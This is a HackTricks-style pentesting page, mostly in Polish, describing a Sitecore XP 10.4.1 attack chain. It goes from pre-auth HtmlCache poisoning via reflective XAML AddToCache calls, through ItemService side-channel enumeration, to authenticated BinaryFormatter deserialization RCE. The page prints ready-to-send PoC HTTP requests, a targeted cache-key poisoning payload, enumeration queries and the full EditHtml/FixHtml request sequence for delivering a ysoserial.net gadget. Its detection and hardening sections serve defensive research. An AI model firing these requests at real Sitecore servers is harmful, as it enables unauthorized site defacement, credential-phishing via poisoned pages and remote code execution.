9.6 KiB
Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
{{#include ../../../banners/hacktricks-training.md}}
Ta strona podsumowuje praktyczny łańcuch ataku przeciwko Sitecore XP 10.4.1, który przechodzi od pre‑auth XAML handler do HTML cache poisoning i — przez authenticated UI flow — do RCE przez BinaryFormatter deserialization. Techniki te mają zastosowanie do podobnych wersji/komponentów Sitecore i dostarczają konkretne primitives do testowania, wykrywania i utwardzania.
- Testowany produkt: Sitecore XP 10.4.1 rev. 011628
- Naprawiono w: KB1003667, KB1003734 (czerwiec/lipiec 2025)
Zobacz także:
{{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}}
{{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}}
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Entrypoint is the pre‑auth XAML handler registered in web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Dostępne przez:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Drzewo kontrolek zawiera AjaxScriptManager, który przy żądaniach zdarzeń odczytuje pola kontrolowane przez atakującego i refleksyjnie wywołuje metody na docelowych kontrolkach:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Kluczowa obserwacja: strona XAML zawiera instancję XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl dziedziczy po Sitecore.Web.UI.WebControl (klasa Sitecore), która przekazuje ReflectionUtil.Filter (listę dozwolonych: Sitecore.*), odblokowując metody w Sitecore WebControl.
Magiczna metoda do poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Ponieważ możemy zaadresować xmlcontrol:GlobalHeader i wywoływać metody Sitecore.Web.UI.WebControl po nazwie, otrzymujemy pre‑auth arbitrary HtmlCache write primitive.
Prośba o PoC (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Uwagi:
- __SOURCE to clientID xmlcontrol:GlobalHeader w obrębie Sitecore.Shell.Xaml.WebControl (zazwyczaj stabilne, np. ctl00_ctl00_ctl05_ctl03, ponieważ pochodzi ze statycznego XAML).
- __PARAMETERS ma format Method("arg1","arg2").
Co zatruć: konstrukcja klucza cache
Typowa konstrukcja klucza HtmlCache używana przez kontrolki Sitecore:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Przykład targeted poisoning dla znanego sublayoutu:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Wyliczanie cacheable items i “vary by” dimensions
Jeśli ItemService jest (mis)exposed i dostępny anonimowo, możesz wyliczyć cacheable components, aby uzyskać dokładne klucze.
Szybkie sprawdzenie:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Wypisz elementy możliwe do buforowania i flagi:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyenumerować za pomocą:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Nawet gdy ItemService podszywa się pod ograniczone konto (e.g., ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL Solr hits. Można brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega, aby zmapować wewnętrzną zawartość i urządzenia:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Dostępne przez krok pipeline convertToRuntimeHtml ConvertWebControls, który szuka elementu o id {iframeId}_inner, dekoduje go z base64 i deserializuje, a następnie wstrzykuje otrzymany ciąg do HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Wyzwalacz (uwierzytelniony, uprawnienia Content Editor). Dialog FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez klikania w UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Generowanie gadgetów: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana w HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji.
{{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}}
Kompletny łańcuch
- Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
- Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
- The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
Wykrywanie
- Pre‑auth XAML: requests to
/-/xaml/Sitecore.Shell.Xaml.WebControl
with__ISEVENT=1
, suspicious__SOURCE
and__PARAMETERS=AddToCache(...)
. - ItemService probing: spikes of
/sitecore/api/ssc
wildcard queries, largeTotalCount
with emptyResults
. - Deserialization attempts:
EditHtml.aspx
followed byFixHtml.aspx?hdl=...
and unusually large base64 in HTML fields.
Utwardzanie
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit
/-/xaml/
. - Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
- Lock down
/sitecore/api/ssc
to loopback or authenticated roles; avoid impersonation patterns that leakTotalCount
‑based side channels. - Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
{{#include ../../../banners/hacktricks-training.md}}